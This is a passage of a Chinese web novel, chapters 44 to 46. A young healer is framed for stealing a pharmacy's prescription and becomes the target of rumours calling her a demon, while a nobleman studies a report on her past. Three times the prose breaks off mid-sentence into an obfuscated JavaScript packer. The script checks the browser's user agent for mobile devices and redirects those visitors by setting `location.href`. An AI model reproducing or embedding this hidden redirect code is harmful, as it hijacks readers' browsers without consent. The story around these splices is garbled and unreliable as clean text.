“且慢。”许娇娇深吸一口气，声音清晰，“大人，民女有话要说。” 制药房里鸦雀无声。所有人的目光都集中在许娇娇身上。 她走到赵药师面前，福了一礼：“赵药师，能否将这张方子给民女细看？” 赵药师犹豫片刻，将方子递给她。 许娇娇接过，仔细端详。方子上的字迹确实与仁心堂存档的相似，可仔细看，有几处笔锋略显生硬，像是模仿的。更重要的是——她目光落在几味药的剂量上。 丹参三钱、酸枣仁三钱、茯苓三钱、远志二钱、柏子仁二钱、炙甘草一钱。 看似与赵药师方才给她看的方子一样，可…… “大人，”她抬起头，目光清澈，“这张方子，是假的。” 刘书吏一愣：“假的？” “正是。”许娇娇将方子平铺在桌上，指尖点着其中几处，“远志这味药，性温，能安神益智，但用量需谨慎。这张方子上写的是二钱，可若真用二钱，对于体虚者或心悸严重者，反而可能引起烦躁不安。” 她顿了顿，继续道：“还有柏子仁。此药润燥安神，可若与远志同用，剂量需平衡。这张方子上两味药都是二钱，看似均衡，实则忽略了患者体质差异——若是阴虚火旺者服用，恐助火生燥。” 赵药师听得入神，忍不住点头：“许娘子说得是。堂里存档的方子，远志只用一钱半，柏子仁则根据患者情况调整，多则二钱，少则一钱。” 许娇娇又道：“更重要的是，这张方子少了一味药引。” “药引？” “是。”许娇娇看向赵药师，“方才赵药师给民女看的方子，注明需加三片生姜、两枚大枣为引，以调和药性，防丹参寒凉伤胃。可这张方子上，却没有。” 赵药师恍然大悟，拿起方子细看，果然没有生姜、大枣的记载。他脸色沉了下来：“这不是堂里的方子！堂里的方子我亲手所书，每一张都有药引注明！” 刘书吏眉头紧皱：“即便如此，也可能是你抄写时漏了……” “大人，”许娇娇打断他，语气平静却坚定，“民女根本不需要偷这张有缺陷的方子。”她从自己药箱里取出一个小本子，翻到某一页，“因为民女自己研究的安神方，比这张方子更周全。” 她将本子递给赵药师：“请赵药师过目。” 赵药师接过，只见纸上写着：丹参三钱、酸枣仁三钱、茯苓三钱、远志一钱半、柏子仁一钱半、合欢皮二钱、炙甘草一钱。旁注：加生姜三片、大枣三枚；若阴虚火旺，去远志，加麦冬二钱、百合三钱。 他越看眼睛越亮：“妙！妙啊！加了合欢皮解郁安神，剂量调整得更稳妥，加减之法也更周全！这方子……比堂里的‘清心丸’更精妙！” 许娇娇温声道：“赵药师过奖。民女只是根据这些日子诊病的经验，对安神方做了些改良。这张方子民女已试用过，效果颇佳。”她顿了顿，看向刘书吏，“大人，民女既有更好的方子，何必去偷一个有缺陷的方子？这不合常理。” 刘书吏语塞。围观的学徒、伙计们也开始议论纷纷。 “是啊，许娘子自己的方子明明更好……” “这陷害得太明显了！” “谁这么缺德，冤枉好人？” 许娇娇趁热打铁，又对赵药师道：“赵药师，这张假方子上的字迹，虽模仿得相似，可细看笔锋，与堂中存档的应有差别。不妨将存档方子取来比对。” 赵药师立刻命人去取。不一会儿，存档方子取来，两张并排放在桌上。果然，细看之下，假方子的字迹略显僵硬，尤其是“远志”“柏子仁”几处，笔锋不够流畅。 “这……”刘书吏脸色难看。 许娇娇又看向那个叫李二的学徒。从刚才起，李二就脸色发白，眼神躲闪。她心中已有猜测，便温声道：“李二哥，你今日一直在制药房，可曾看见有谁动过民女的药箱？” 李二浑身一颤，支支吾吾：“没、没看见……” “没看见？”许娇娇盯着他，“可民女记得，午时前你曾到墙角取药材，那时民女的药箱就放在墙角。你真的什么都没看见？” 李二额角冒汗，嘴唇哆嗦。赵药师看出端倪，沉下脸：“李二，说实话！” “我……我……”李二腿一软，跪倒在地，“是、是有人让我做的！他给了我五十两银子，让我把方子塞进许娘子的药箱……说我娘病重，急需用钱……我、我一时糊涂……” 满室哗然。 “是谁指使你的？”赵药师厉声问。 李二哭道：“我不认识……是个三十来岁的汉子，说事成之后还有重谢……对了，他、他右手虎口有块疤……” 刘书吏脸色彻底变了。赵药师看向他，眼神锐利：“刘书吏，您今日来得可真巧。这边刚塞了方子，您就带人来搜。莫非……” “赵药师慎言！”刘书吏慌忙道，“本官也是接到举报，秉公办事！”他顿了顿，看向许娇娇，语气软了下来，“许娘子，今日之事……看来是有人陷害。本官定会查明真相，还你清白。” 许娇娇福了一礼：“多谢大人。只盼大人能查出幕后主使，否则今日陷害民女，明日不知又要害谁。” 刘书吏连连点头，带着衙役匆匆走了，连那张假方子都忘了拿。 赵药师看着他们离去的背影，冷哼一声，转身对许娇娇深深一揖：“许娘子，今日让你受委屈了。赵某惭愧，竟让这等小人混入堂中。” 许娇娇忙还礼：“赵药师言重了。是民女连累了仁心堂的名声。” “不，是你保全了仁心堂的名声。”赵药师正色道，“若不是你机警，当场揭穿，这偷方子的罪名一旦坐实，不仅你身败名裂，我仁心堂秘方外泄，也要受损。”他顿了顿，眼中露出欣赏，“更难得的是，你竟能改良出更好的方子。许娘子，你的医术天赋，实在令人惊叹。” 许娇娇谦道：“民女只是多看了几本医书，多想了些罢了。” 两人又说了几句，许娇娇便告辞了。走出仁心堂时，日头已偏西。她深吸一口气，心里却沉甸甸的。 这次陷害，手段比上次高明得多。若不是她恰巧研究过安神方，若不是她细心看出方子的问题，恐怕真的百口莫辩。 幕后主使……会是谁？ 尽管许娇娇当场自证了清白，可谣言还是传开了。 “听说了吗？张记那个许娘子，偷仁心堂的秘方，被抓了个正着！” “真的假的？我听说她是被冤枉的……” “冤枉？人证物证俱在！要不是赵药师心软，早送官了！” 菰城的大街小巷，茶肆酒楼，到处都在议论。有人信，有人疑，有人添油加醋。不过半日工夫，许娇娇“偷方子”的事就传得沸沸扬扬。 沈府里，自然也听到了风声。 这日午后，沈夫人李氏正在花厅里看账本，陪坐的是隔房的妯娌纪氏。纪氏是个话多的，最喜打听闲事，这会儿正说得起劲： “……要说那许娘子，看着挺本分的一个丫头，怎会做出这种事？偷方子啊，这在医药行当里可是大忌！听说仁心堂的赵药师气得脸都青了，当场就要送官呢！” 沈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17230993|197528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夫人蹙眉，放下账本：“不能吧。那丫头曾救过宁儿的急症，我看着为人爽利真诚，绝不是这样的人。” “知人知面不知心哪。”纪氏压低声音，“我听说，是她自己改良的方子不如仁心堂的，这才起了贪念。也难怪，一个乡下丫头，能有多大本事？” 沈夫人不语，心中却疑虑丛生。她思忖片刻，召来贴身的周嬷嬷：“你去张记药铺看看，到底是怎么回事。若许娘子真做了糊涂事……咱们沈府不能留这样的人。若她是被冤枉的，也要还她清白。” 周嬷嬷领命去了。 而此时，张记药铺里，张东家正急得团团转。 “这可如何是好！娇杏明明是被冤枉的，可外头传成这样……”他唉声叹气，“方才还有两个老主顾来问，说若是真的，往后不敢来咱们铺子抓药了。” 许娇娇倒是镇定：“张伯莫急。清者自清，谣言止于智者。” “话是这么说，可三人成虎啊！”张东家跺脚，“定是有人故意害你！上次是假装中毒，这次是偷方子……一次比一次狠毒！” 正说着，外头进来一人，正是仁心堂的赵药师。 “赵药师？”张东家忙迎上去，“您怎么来了？” 赵药师拱手：“张东家，许娘子。赵某今日来，一是为早上的事致歉，二是有事相商。”他看向许娇娇，“许娘子，你那安神改良方，赵某回去后仔细琢磨，越想越觉得精妙。不知……可否让仁心堂采用？当然，堂里愿付酬金，或按成药售出分成。” 张东家一愣。许娇娇也怔了怔，随即明白过来——赵药师这是在用行动为她正名。若仁心堂愿意采用她的方子，那些“偷方子”的谣言自然不攻自破。 “赵药师美意，民女感激。”她福了一礼，“只是这方子尚需完善，民女想再试用一段时日，确认无误后，再与堂里商议。” 赵药师眼中赞赏更浓：“许娘子谨慎，正是医者本分。既如此，赵某便等娘子的好消息。”他顿了顿，又道，“至于今日的谣言……许娘子放心，赵某回去便让伙计们去澄清。仁心堂也会张贴告示，说明真相。” “多谢赵药师。” 送走赵药师，张东家长舒一口气：“这下好了！有赵药师出面，谣言该散了。” 许娇娇却摇头：“只怕没这么简单。幕后之人既费心设局，不会轻易罢休。” 果然，下午周嬷嬷来探问时，外头谣言虽淡了些，可还是有人在窃窃私语。 周嬷嬷仔细问了事情经过，又去仁心堂核实，这才回府禀报沈夫人。 “夫人，老奴查清楚了。许娘子确是被人陷害。”周嬷嬷将事情原委细细说了，“仁心堂的赵药师亲口证实，许娘子不仅没偷方子，还自己改良出了更好的方子。堂里正打算向她求方呢。” 沈夫人听完，点了点头：“我就说那丫头不是这样的人。”她沉吟片刻，“既是被人陷害……可知是谁主使？” 周嬷嬷低声道：“仁心堂那个学徒李二招了，说是个虎口有疤的汉子指使的。老奴打听了一圈，有人说……像是庆和堂钱掌柜手下的人。” “庆和堂？”沈夫人眉头一皱，“那不是归平县王大官人的产业么？” “正是。”周嬷嬷道，“老奴还听说，前阵子庆和堂想买娘子的金疮药方，被拒绝了。许是因此怀恨在心。” 沈夫人眼神冷了下来：“好个庆和堂，好个王大官人。在归平县横行霸道也就罢了，手竟伸到菰城来了。”她顿了顿，“这事你暗中查查，若真是他们所为……我沈家虽不惹事，却也不怕事。” “是。” 周嬷嬷退下后，沈夫人独自坐在花厅里，望着窗外开得正盛的紫薇，眼神深沉。 许娇杏这丫头……倒真是个有本事的。医术好，心性稳，遇事不慌，还能当场自证清白。这样的人，若能得沈府庇护，将来或有大用。 至于那些躲在暗处使坏的人……沈夫人嘴角勾起一抹冷笑。 真当沈家是吃素的么？ 夜深了，柳枝巷的小院里，油灯还亮着。 静尘和静心听许娇娇说了今日的事，都惊出一身冷汗。 “太险了！”静心拍着胸口，“若不是娇杏你细心，看出方子有问题，又拿出自己的改良方，今天可就……” 静尘也后怕：“这幕后之人，一次不成又来一次，手段越来越毒。娇杏，咱们得想个法子，不能总这样被动挨打。” 许娇娇点头：“师姐说得对。我今日仔细想了想，这两次陷害，虽然手法不同，可都冲着我的名声来——第一次想让我背上庸医害人的骂名，第二次想让我身败名裂，在医药行当无法立足。” 她顿了顿，眼神坚定：“他们越是这样，我越要站得稳。从明日起，我更要精研医术，多读医书，多诊病人。只有我本事够硬，名声够响，他们才不敢轻易动我。” “可是……”静心担忧，“他们若用更阴毒的法子呢？” 许娇娇沉默片刻，轻声道：“所以，咱们也要有所准备。”她看向静尘，“师姐，了尘师父的事，还有水月庵那些勾当，是时候查一查了。若能找到证据，扳倒王大官人和水仙姑，咱们才能真正安全。” 静尘用力点头：“好，我都听你的。” 45. 第45章 疑云 镇国公府，九思居。 七月流火，京城的暑气浓得化不开。午后书房，窗扉紧闭，仍挡不住外头蒸腾的热浪。几竿翠竹僵立在窗外，叶子被烈日烤得卷了边，泛着蔫蔫的油光。蝉声嘶力竭地鸣叫着，一声叠着一声，搅得人心烦意乱。 裴宴遣退了所有侍从，独自坐在紫檀木书案后。案上摊开着一份刚送来的密报，纸张是寻常的竹纸，字迹工整清晰，可上面记载的内容，却让他修长的眉峰渐渐蹙紧。 许娇杏。 这个名字在唇尖无声滚过，仿佛带着某种难以言说的重量。 密报极为详尽，从落溪村到水月庵，从柳枝巷到张记药铺，几乎描摹出她短短十数年人生的全部轨迹。可越是详尽，裴宴心头的疑云便堆积得越厚。 六岁丧父，七岁丧母。而七岁之前，她竟是个聋哑儿。 他的目光在这一行字上停留良久。一个被乡邻视为“不祥”的孤女，一个在稚龄便失去听与说之能的孩子，如何在短短数年之间，不仅开口言语，更习得了一身精湛医术？ 这不合常理。 他继续往下读。落溪村的村民说，许大郎生前医术确实高明，常为四邻义诊，在这一带颇有善名。许娇杏幼时虽聋哑，却总是安安静静地跟在父亲身侧，看他诊脉、开方、炮制药材。 “耳濡目染”四字，或许能解释兴趣的萌芽，却绝不足以支撑本事的精进。更何况，一个聋哑孩童，谈何“耳濡”？ 裴宴的食指在光洁的案面上轻轻叩击。这是他深思时的习惯，一下，又一下，节奏平稳，却透着无形的压迫。 读到水月庵那段，字里行间的寒意更重。水仙姑的刻薄凌虐，后山茅屋中的生死挣扎……若非李婆子和那个叫静尘的尼姑回护，恐怕她早已悄无声息地消失。冰冷的记述背后，是一个女子在泥泞里踉跄前行的痕迹。 直到看到那句“不知从何时起，她不聋不哑了”，裴宴叩击的手指蓦然顿住。 何时？如何？ 是一场大病后的奇迹？是某个不为人知的际遇？还是……另有隐情？ 他眼前浮现元宵夜初遇时，她揪住他衣襟的莽撞模样；想起医药会上，她面对质疑时沉静从容的应对；想起纯阳宫石径旁，她评说梅树时那份通透的见解；更想起柳枝巷那夜，月光下她那双清亮而坦然的眼。 那双眼里，没有历经苦难后应有的阴郁，没有身份卑微者常带的怯懦，只有一种近乎天真的澄澈，与一股说不清道不明、却极为坚韧的生气。 太矛盾了。 一个有着这般身世与经历的女子，不该有这样的眼神。 “最早因她那‘炭盆之喻’，张记东家得了启发，才治好鲁大老娘的症候。”裴宴低声自语，目光落回纸上，“多少大夫束手无策，她一个不过十岁的小娘子，何以能有这般见识，且能一语中的？” 还有。那个他本不愿记起的元宵夜。混乱的人潮中，他被表兄强拉出来看灯，其实心中并不情愿。他不喜人多，厌烦驳杂的气味……他们被人群冲散，他被迫背起一个陌生女子。只记得一具柔软的身子紧紧贴着他的后背，一双手死死抓着他的衣领，勒得他几乎喘不过气。一股清苦药香混着某种难以名状的幽香扑鼻而来，竟奇异地冲散了周遭令人不适的浊气。他急于摆脱背后的异样触感，可那双手却攥得更紧，令他莫名恼火。待脱出险境，她从背上滑下，他看见一双亮得惊人的眼睛。她口中慌乱道着歉，身子却悄悄往人堆里缩。他鬼使神差地拽住了她，她却抬起头，理直气壮，据理力争。他从没见过这样的女子，伶牙俐齿得叫人…… 后来，沈表妹旧疾发作，也是她出手相救。那时他只当是巧合，未曾深究。如今想来，岂是侥幸？一次或可说是偶然，两次、三次呢？张记坐诊，沈府青眼，仁心堂的契书，医药会上的嘉许……这一桩桩、一件件，无不印证着她的医术绝非寻常。 可这身医术，究竟从何而来？许大郎再厉害，又能教给一个七岁的聋哑女儿多少？水月庵那等地方，又岂是研学医术的所在？ 裴宴闭了闭眼。烛火在眼睑上投下晃动的暖晕，脑海中却清晰映出那个雨过天青色的身影——她立在纯阳宫湿润的石径上，仰面望着古梅，侧脸在雨后微光中莹然生辉。 “生机内蕴。” 清尘道长那日的话语，忽然在耳畔响起。 他睁开眼，眸色深沉如夜。 正沉思间，书房门被轻轻叩响。丫鬟的声音隔着门板传来：“公子，长风说有事禀报。” “让他进来。” 长风推门入内，垂手而立。他抬眼悄悄瞥了主子一眼，见裴宴面色沉静如水，看不出喜怒，这才斟酌着开口：“还有一事，关乎水月庵那水仙姑，与归平县的王兆贵王大官人。” 裴宴抬眼：“说。” “盯着归平县的人回报，发觉水月庵的水仙姑身份可疑。”长风顿了顿，见主子示意他说下去，便继续道，“水月庵原先的庵主法号了尘，是位三十许的妇人。约莫五六年前，了尘师父一夜之间暴毙而亡，对外说是心疾突发。可属下打听来的消息，了尘师父身体一向康健，并无宿疾，且她本身通晓医术，时常为当地村民义诊，在那一带名声颇佳。了尘死后，水月庵便由水仙姑掌管。庵中一众比丘尼对她甚是惧怕，听闻但凡有反对水仙姑的，不过几日便会不见踪迹……这事透着蹊跷。” 说到这里，长风稍缓了口气，声音凝重了几分：“许小娘子设计让村民撞破水仙姑与王兆贵的奸情，王兆贵趁乱逃走，水仙姑则被官府羁押。因着这事，水仙姑一直怀恨在心，千方百计想要报复许小娘子。许小娘子也真是机警，见势不对，竟偷偷搬离了水月庵后山，让水仙姑扑了个空。如今许小娘子在菰城安身，水仙姑一时够不着，但此人心胸狭隘，眼下与王兆贵往来更密，一直在打听许小娘子在菰城的一切动静。” 他顿了顿，语气不自觉地染上一丝凝重：“许小娘子近来……似乎遇上了不少麻烦。张记生药铺有人闹事讹诈，仁心堂那边也有人想栽赃陷害，都被她一一化解了。” 说到此处，话音里竟透出几分不自觉的赞许：“那许小娘子瞧着年纪轻轻，处事却极沉稳机警。上次仁心堂那事，她不但识破了局，还反将一军，让背后主使的庆和堂赵掌柜吃了暗亏。便是属下听了，也觉得许小娘子是个……” 话到此处，长风忽然住了口。 因为他看见，坐在书案后的公子，缓缓抬起了眼。 那眼神并不凌厉，甚至没有什么情绪，只是静静地望着他。可长风却觉得脊背一凉，余下的话全噎在了喉间。 书房内一时间静得可怕。窗外的蝉鸣不知何时歇了，只余烛芯偶尔爆开的细微噼啪声。昏黄的光晕在裴宴脸上跳跃，将他半边面容映在明处，半边隐于暗影之中，神情莫测。 长风垂下头，心中懊悔。他打小就跟着郎主，深知郎主最 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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裴宴望着那轮明月，忽然想起柳枝巷那夜。也是这样的月色，他翻墙而入，她立在窗内，初时惊惧，继而镇定，看他的眼神坦荡得让他心头莫名一悸。 “野丫头。” 他无声地念了一句，唇角却不由自主地微微扬起。 可笑意很快便隐去了。取而代之的，是更深沉的思虑。 水仙姑和王兆贵不会善罢甘休。那些人的手段他了解，阴狠歹毒，为达目的不择手段。许娇杏虽机警，可终究势单力薄，明枪易躲，暗箭难防。 而她的身世，她的医术，她身上种种说不通的疑点……像一团浓雾，将他心头那点莫名的牵念缠绕得愈发复杂。 裴宴抬手按了按眉心。烛火在他身后跳跃，将他的影子长长地投在墙上，孤峭而沉默。 许久，他转身回到书案前，重新拿起那份密报，就着烛光，又细细读了一遍。 每一个字，每一句话，都在诉说着一个女子艰难求存的故事。可裴宴总觉得，这故事背后，还藏着另一个故事——一个更曲折，更隐秘，或许也更惊人的故事。 而他要做的，就是把它找出来。 烛火“噼啪”一声，爆开一朵灯花。 裴宴吹熄了烛火，书房陷入一片黑暗。只有月光从窗外流泻进来，在地上铺开一片清辉。 他在黑暗中静坐了良久，才起身走出书房。 46. 第46章 谣言如刀 菰城的七月，热得像个蒸笼。 日头毒辣辣地悬在天顶，将青石板路晒得滚烫，踩上去能觉出鞋底的温热。街边的柳树叶子蔫蔫地垂着，纹丝不动。偶尔有挑担的小贩经过，汗水浸湿了褡裢，在背上洇出一大片深色。 这样酷热的午后，本该是蝉鸣聒噪、街巷冷清的时候。可这几日，菰城的大街小巷、茶肆酒楼，却反常地热闹起来。人们三五成群，聚在阴凉处，交头接耳，神情诡秘。说的都是同一件事： 张记生药铺那个许小娘子，是个妖女。 谣言不知从何处起，却像长了脚似的，一夜之间传遍了半个菰城。 “听说了吗？落溪村来的那个许娇杏，根本不是人！” “怎么说？” “她生下来就是个聋哑儿，七岁那年爹娘忽然暴毙，死得蹊跷！村里人都说是她吸了爹娘的阳气！” “真的假的？” “千真万确！我有个远房表亲就在落溪村，说那丫头从小邪性得很，眼睛看人直勾勾的，村里孩子都不敢靠近她。后来实在没法子，才送到水月庵寄养——你们想想，若不是不祥之人，亲爹娘舍得送去当姑子？” “可她现在不是好好的？还能说会道，还会看病……” “这就是最邪门的地方！”说话的人压低了声音，神秘兮兮的，“一个聋哑了七年的丫头，怎么就突然能说会听了？还能治病？落溪村的老人都说，怕是山里的什么东西上了身，借她的身子修炼呢！” “修炼？” “对啊，你们想，她看病是不是特别灵？就连沈家小娘子那种多年的痼疾，吃了她的药就好转了——寻常大夫能有这本事？定是用了什么妖法，吸了病人的阳气来补自己！” “天爷……难怪我前阵子去张记抓药，总觉得那丫头眼神不对劲，阴森森的……” “可不是！我听说啊，她在落溪村的时候，靠近她家的人家都倒霉。张耆老家那个在县衙当官的子侄亲口说的，许大郎夫妇死得不明不白，村里请了道士来看，说是有妖物作祟！” “那怎么不报官？” “报什么官？妖魔鬼怪的事，官爷管得了？要我说，趁早离她远点，别被她吸了阳气还不自知！” 流言越传越邪乎，添油加醋，细节丰富。有人说亲眼见过许娇杏半夜在院子里拜月，有人说闻过她身上有股子腥气，还有人说她炮制的药材里掺了不知名的东西，吃了暂时管用，实则损人根本。 起初只是市井闲谈，可渐渐地，传到了体面人家耳朵里。 这日午后，沈府后院的洗衣房里，几个粗使婆子一边捶打着衣裳，一边嘀嘀咕咕。 “你们听说了吗？那个常来给五娘子看病的许娘子……” “早听说了！说是妖女呢！从小聋哑，七岁上爹娘就死了，定是她克死的！” “真的假的？我看着那丫头挺本分的啊……” “知人知面不知心！你想想，一个乡下丫头，哪来那么好的医术？连太医院的太医都夸她——她师父是谁？跟谁学的？这里头肯定有古怪！” “可五姑娘吃了她的药，身子确实见好了啊。” “这就是最吓人的地方！”一个婆子神神秘秘地凑近，“你想想，妖女最会什么？迷惑人心啊！她用妖法治好了五姑娘的病，指不定在五姑娘身上下了什么咒，往后……” “别胡说！”一个年长些的婆子呵斥，“这种话也是能乱说的？当心被主子听见，撕了你们的嘴！” 几个婆子噤了声，可眼神交流间，疑虑更深了。 这些话，终究还是传到了主子们耳朵里。 寿安堂里，沈老夫人正靠在临窗的榻上歇午觉。窗外芭蕉叶子被晒得油亮，蝉鸣一声高过一声。她年纪大了，本就浅眠，被这蝉声一搅，更睡不着，索性坐起身。 贴身伺候的赵嬷嬷忙上前：“老夫人可是要喝茶？” 沈老夫人摆摆手，揉了揉额角：“外头在吵什么？我听着像是有人在说话。” 赵嬷嬷脸色微变，支吾道：“没、没什么，是几个不懂事的丫头在嚼舌根，老奴这就去训她们。” “嚼什么舌根？”沈老夫人抬眼，目光锐利，“说来我听听。” 赵嬷嬷知道瞒不过，只得硬着头皮道：“是……是关于常来给五姑娘看病的那个许娘子。外头不知怎么传起来，说她是……是妖女。” 沈老夫人眉头一皱：“妖女？胡说八道！” “老奴也觉得是胡说。”赵嬷嬷忙道，“可外头传得有鼻子有眼的，说那许娘子生下来是聋哑，七岁上爹娘就死了，如今突然能说会道还会看病，定是……定是山精野怪附了身。” “荒唐！”沈老夫人斥道，“这种无稽之谈也信？” “老奴自然不信。”赵嬷嬷低声道，“可架不住传的人多。连府里下人们都在私下议论，说许娘子看病太灵，不像寻常大夫……” 沈老夫人沉默片刻，缓缓道：“你去把老二媳妇叫来。” “是。” 不多时，李夫人便匆匆来了寿安堂。她今日穿着件藕荷色褙子，头发梳得一丝不乱，可眉宇间却带着几分疲惫——外头的谣言，她自然也听到了。 “母亲。”她上前行礼。 沈老夫人示意她坐下，开门见山：“外头关于许娘子的传言，你可听说了？” 李夫人心头一紧，面上却强作镇定：“听说了些。都是些无知小民胡言乱语，儿媳已吩咐下去，不许府里人议论。” “胡言乱语？”沈老夫人看着她，眼神深沉，“无风不起浪。那许娘子的身世，你可清楚？” 李夫人迟疑道：“儿媳听阿叔提过几句，说是父母早亡，在庵堂里长大。至于医术，是家传的，她父亲生前便是郎中。” “家传？”沈老夫人缓缓道，“一个七岁就失了怙恃的孩子，能学到多少家传？况且，我听说她七岁前还是个聋哑儿——聋哑儿如何学医？” 李夫人语塞。这些疑点，她何尝没有想过？只是许娇娇治好了女儿的病，她便下意识忽略了。 “母亲的意思是……” “我没什么意思。”沈老夫人端起茶盏，轻轻撇着浮沫，“只是提醒你，咱们这样的人家，结交来往最要谨慎。那许娘子若真是个有本事的，自然好。可若她真有什么不妥……咱们沈家百年清誉，不能因为一个外人受损。” 李夫人心头一震，忙道：“儿媳明白。只是……宁儿的病，确实因她的药好转了。若就此断了来往，怕对宁儿的身子不利。” 沈老夫人沉吟片刻：“治病归治病，结交归结交。往后她来府上，只在前院花厅看诊，看完便送走，莫要过多来往。赏银照给，礼数周全便是，但不必再如从前那般亲近。” “是。”李夫人垂首应下。 “还有，”沈老夫人又道，“你私下派人去落溪村打听打听，那许娘子的身世究竟如何。若真是清清白白，咱们也不能冤枉好人。可若真有蹊跷……” 她没有说完，但李夫人听懂了。 从寿安堂出来，李夫人心里沉甸甸的。她其实挺喜欢许娇娇那丫头，沉稳聪慧，不卑不亢，更难得的是医术确实高明。可婆婆的话不无道理——沈家这样的门第，容不得半点污名。 她回到自己院里，周嬷嬷已候着了。 “夫人，”周嬷嬷低声道，“外头的谣言……越传越厉害了。方才老奴去街上采买，听见不少人都在说，连张记药铺的生意都受了影响。” 李夫人蹙眉：“张记那边怎么样了？” “听说这几日去看病抓药的人少了许多。”周嬷嬷叹道，“有些老主顾虽然还去，可都指名要廖大夫或万大夫看诊，不敢找许娘子了。还有人说……说要联名去官府告状，请道士来驱邪。” “胡闹！”李夫人气得脸色发白，“这些人怎如此愚昧！” “夫人息怒。”周嬷嬷劝道，“百姓无知，最信这些神鬼之说。那许娘子的身世也确实……太蹊跷了些。” 李夫人沉默良久，终于道：“你明日亲自去一趟落溪村，打听清楚许娘子的身世。记住，悄悄地去，莫要声张。” “是。” 而此刻，张记药铺里，气氛压抑得如同暴雨前的闷热。 铺子半日没开张了。 陈伙计坐在柜台后，望着空荡荡的铺面，愁眉苦脸。往日这时辰，该是病人最多的时候，可今日连个探头的人都没有。偶尔有路人经过，也是快步走开，眼神躲闪，仿佛铺子里有什么不干净的东西。 后院，张东家背着手来回踱步，脚步沉重。廖大夫和万大夫坐在一旁，神色凝重。 “这谣言……定是有人故意散播。”廖大夫沉声道，“字字句句都冲着许大夫来，是要置她于死地啊！” 万大夫叹气：“最毒的是这谣言的内容——妖魔鬼怪之事，最是说不清道不明。许大夫就算有一百张嘴，也辩驳不了。” 张东家停下脚步，看向一直沉默的许娇娇：“娇杏，你怎么想？” 许娇娇坐在角落的小杌子上，手里握着一卷医书，却久久没有翻页。她脸色有些苍白，眼神却依旧平静。 “张伯，廖大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17235803|197528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夫，万大夫。”她缓缓开口，声音很轻，却清晰，“这谣言，是冲着我来的。连累铺子生意，是我的不是。” “这叫什么话！”张东家急道，“你是咱们铺子的人，哪有连累不连累的？我只是担心你……这谣言太毒，若是传到官府耳朵里，怕是要惹麻烦。” 许娇娇点点头：“我知道。”她顿了顿，“这谣言里说的，有些是事实——我七岁前确实聋哑，父母也确实早亡。可正因如此，才更可怕。人们宁愿相信鬼神之说，也不愿相信一个孤女能靠自己的努力走出困境。” 她说到这里，嘴角勾起一丝苦笑：“其实我能理解。若换作是我，听说这样的事，恐怕也会觉得蹊跷。” “那怎么办？”陈伙计从前面探进头来，“总不能任由他们胡说吧？方才还有几个泼皮在门口探头探脑，说要看妖女长什么样，被我骂走了。” 许娇娇沉默片刻，忽然道：“张伯，我想请几日假。” “请假？”张东家一愣，“你要去哪？” “不出远门，就在家里待着。”许娇娇轻声道，“这几日铺子生意不好，我在反而添乱。不如先避避风头，等谣言淡些再说。” 张东家看着她平静的脸，心里一阵酸楚。这孩子，总是为别人着想。 “也好。”他叹道，“你先回家歇几日。铺子这边，有我们呢。” 许娇娇起身，收拾了自己的东西。药箱，医书，还有几件常穿的衣裳。她动作很慢，很仔细，像是在做一件极其重要的事。 走出铺子时，日头正毒。街上没什么人，只有热浪滚滚。许娇娇撑着把旧油纸伞，缓步往柳枝巷走。 路过茶肆时，她听见里头传来议论声： “……要我说，宁可信其有，不可信其无！万一是真的，咱们整个菰城都要遭殃！” “可不是！我听说归平县那边已经请道士做法了，说那妖女在落溪村时就不安分……” 许娇娇脚步未停，径直走了过去。 回到柳枝巷的小院，静尘和静心早已等在门口。见她回来，两人都红了眼圈。 “娇杏……”静心哽咽道，“外头那些话，我们都听说了。你别往心里去，我们都知道你不是……” 许娇娇摇摇头，笑了笑：“我没事。”她走进院子，反手闩上门，“这几日我不去铺子了，在家陪你们。” 静尘看着她平静的神色，心里更难受了。她知道娇杏的性子，越是难过，越是表现得云淡风轻。 三人进了堂屋，旺财摇着尾巴迎上来，蹭着许娇娇的腿。她弯腰摸了摸它的头，轻声道：“还是你好，听不懂那些闲话。” 这一下午，小院里异常安静。静心在厨房里忙活，说要给许娇娇炖汤补身子。静尘坐在窗下做针线，可一针一线都透着心不在焉。 许娇娇则坐在堂屋门口，望着天井里那几株被晒蔫的月季出神。 她在想，这谣言究竟是谁散播的。 水仙姑？王大官人？除了他们还能有谁？其他医药堂吗？ 或许都有。有些人恨她入骨，有些则是为了竞争。他们一次不成又来一次，如今使出这种诛心的手段，是要彻底毁了她。 妖女…… 许娇娇忽然想起前世。在那个时代，一个女子若太过出众，也会被流言蜚语中伤。只是没想到，到了这里，竟成了“妖女”。 她苦笑一声。 夜幕降临时，外头忽然传来敲门声。 静心去开门，却是隔壁刘寡妇，手里端着一碗绿豆汤。 “许娘子在家吗？”刘寡妇探头往里看，神色有些不安，“我、我炖了绿豆汤，送来给你们解暑。” 许娇娇起身走到门口：“刘大娘，进来坐。” 